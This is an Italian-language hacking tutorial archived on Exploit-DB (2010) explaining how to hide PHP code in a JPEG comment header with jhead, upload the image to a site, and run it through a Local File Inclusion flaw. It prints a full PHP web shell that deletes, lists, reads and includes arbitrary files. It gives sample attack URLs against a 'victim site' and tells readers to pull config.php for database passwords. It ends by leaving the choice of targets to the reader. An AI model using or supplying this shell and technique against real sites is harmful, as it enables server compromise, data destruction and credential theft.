[Italian] Image Code Injection with LFI

EDB-ID:

13668

CVE:

N/A




Platform:

Multiple

Date:

2010-04-13


                  +
  °
    _____   __                    °            *                                                                      
   /\  __`\/\ \      +      *           *    °                                                                            
   \ \ \/\ \ \ \____    ____    ___   __  __  _ __    __          * OBSCURE INTENT TEAM : http://www.obscureteam.net*                                                      
    \ \ \ \ \ \ '__`\  /',__\  /'___\/\ \/\ \/\`'__\/'__`\
     \ \ \_\ \ \ \L\ \/\__, `\/\ \__/\ \ \_\ \ \ \//\  __/          Image Code Injection with LFI Tutorial 
      \ \_____\ \_,__/\/\____/\ \____\\ \____/\ \_\\ \____\         
       \/_____/\/___/  \/___/  \/____/ \/___/  \/_/ \/____/         MADE BY : RedEvil1991 8/04/2010 
       ______          
      /\__  _\                                                      Contact me : redevil91@hotmail.it
      \/_/\ \/    __     __      ___ ___
         \ \ \  /'__`\ /'__`\  /' __` __`\    °        *           * Special Thanks to Sora101 for help and shell code*
          \ \ \/\  __//\ \L\.\_/\ \/\ \/\ \
           \ \_\ \____\ \__/.\_\ \_\ \_\ \_\
            \/_/\/____/\/__/\/_/\/_/\/_/\/_/ .net
      °                                                  °
  
            .           *          

*********************************************************************************************************************
#####################################################################################################################


   *Introduzione
      
     - Header Immagini
     
     - Jhead
 
     - Manipolazione dei commenti con jhead

     - Come sfruttare questa tecnica

     - Considerazioni finali

   *Ringraziamenti


####################################################################################################################
********************************************************************************************************************


[1] - Introduzione 

----------------------

Salve a tutti , sono RedEvil1991 , ho deciso di scrivere questo paper perchè ho trovato molto interessante questa 
tecnica :  L'image Code Injection .
In questo paper vi spiegherò in cosa consiste questa tecnica , e come può essere sfruttata.





[2] - Header Immagini

----------------------

Molte persone non sanno che nelle fotografie e nelle immagini oltre alla parte grafica  , ci sono anche dei campi d'informazioni 
detti header. Questi header sono presenti in tutte le immagini , essi vengono creati nel caso delle fotografie dalla macchina
fotografica o nel caso di immagini normali da programmi come Photoshop o GIMP.
Generalmente contengono informazioni come la data di creazione dell'img , il nome  , la dimensione il formato ed il commento.
Per darvi un'idea vi mostro gli header di una mia immagine:



________________________________________________________________
                                                                |
File name    : C:\Users\Kevin\Desktop\avatartutorial.           |   
File size    : 8631 bytes                                       |
File date    : 2010:04:07 17:18:19                              |
Resolution   : 100 x 100                                        |
Comment      : Obscure Intent Team.net //commento               |
________________________________________________________________L

Come potete vedere Nel campo "Commento" ho inserito gia in un primo momento , il link all'obscure team , questo vi dimostra che 
possiamo modificarlo a nostro piacimento , e di conseguenza potremmo sfruttare questa tecnica inserendo degli script.




[3] - Manipolazione dei commenti con jhead

-----------------------

Ora vediamo come modificare i commenti di un'immagine , innanzitutto procuratevi il programma "jhead"; una volta scaricato
andate a posizionarlo nella directory principale dell'hard disk C:/ .
Aprite start --> esegui --> cmd  , nel prompt dei comandi dovete per prima cosa selezionare la directory dove dove è situato
jhead quindi scrivete "cd C:/"...bene ora per visualizzare gli header di un'immagine il comando è:

jhead nomeimg.jpg

Appena invierete il comando appariranno delle scritte come quelle indicate nel riquadro sopra.
Ora per modificare il commento il comando sarà :

jhead -ce nomeimg.jpg

Si aprirà il blocco note , ora noi potremo inserire del codice , per esempio un cookie grabber , una piccola shell ecc.
dopo aver scritto basterà salvare ed il gioco sarà fatto.



[4] - Come sfruttare questa tecnica

-------------------------

Sottovalutare questa tecnica è sbagliatissimo , perchè come vi mostrerò ora un'immagine con del codice hostata in un sito
può essere un mezzo con la quale è possibile attaccarlo , ma entriamo nello specifico:

Ora vi farò vedere come inserendo una piccola ed elementare shell in php sarà possibile attaccare un sito che soffre di
LFI (Local File Inclusion).

Cominciamo inserendo la shell nel commento :


_________________________________________________________________
                                                                 |
<?php                                                            |
if($_GET["azz"]=="distr"){                                       |
    unlink($_GET["file"]);                                       | 
}elseif($_GET["azz"]=="list"){                                   |
    $myDirectory = opendir($_GET["dir"]);                        |
    while($entryName = readdir($myDirectory)) {                  |
        $dirArray[] = $entryName;                                |
    }                                                            |
    closedir($myDirectory);                                      |
    $indexCount    = count($dirArray);                           |
    Print ("$indexCount files<br>\n");                           | 
    sort($dirArray);                                             |
    for($index=0; $index < $indexCount; $index++) {              |
        echo $dirArray[$index] . "<br>";                         |
    }                                                            |
}elseif($_GET["azz"]=="vedi"){                                   |
    echo htmlspecialchars(file_get_contents($_GET["file"]));     |
}elseif($_GET["azz"]=="inc"){                                    |
    include($_GET["file"]);                                      |
}                                                                |
?>                                                               |
                                                                 |
_________________________________________________________________L


Una volta salvata non ci resta che trovare un sito buggato di LFI come ad esempio:


http://www.sitovittima.com/index.php?file=home.php


Ora ci serve un modulo di upload nel sito vittima (per esempio un modulo caricamento avatar presente nei forum)
ed una volta caricata la nostra immagine con la shell dovremo includerla richiamando i comandi:


http://www.sitovittima.com/index.php?file=img/avatar/avatartutorial.jpg&azz=list&dir=.

Bene se il sito è buggato la shell funzionerà e ci appariranno i file situati nello spazio web della vittima ,
ora potremmo sfruttare questa possibilità per leggerci il file config.php se presente nel sito per trovare le
informazioni relative al database password ecc.

sarà sufficente modificare la directory dall'url "&dir=Nome_cartella_che_si_vuole_Visualizzare"




[5] - Considerazioni finali

---------------------------

Come potete vedere questa tecnica è molto efficace , starà a voi scegliere i metodi con la quale sfruttarla.



************************************************************************************************************
############################################################################################################

Vi ricordo che per chiarimenti o altre risorse mi trovate su :  http://www.obscureteam.net

un ringraziamento a Sora101.

############################################################################################################
************************************************************************************************************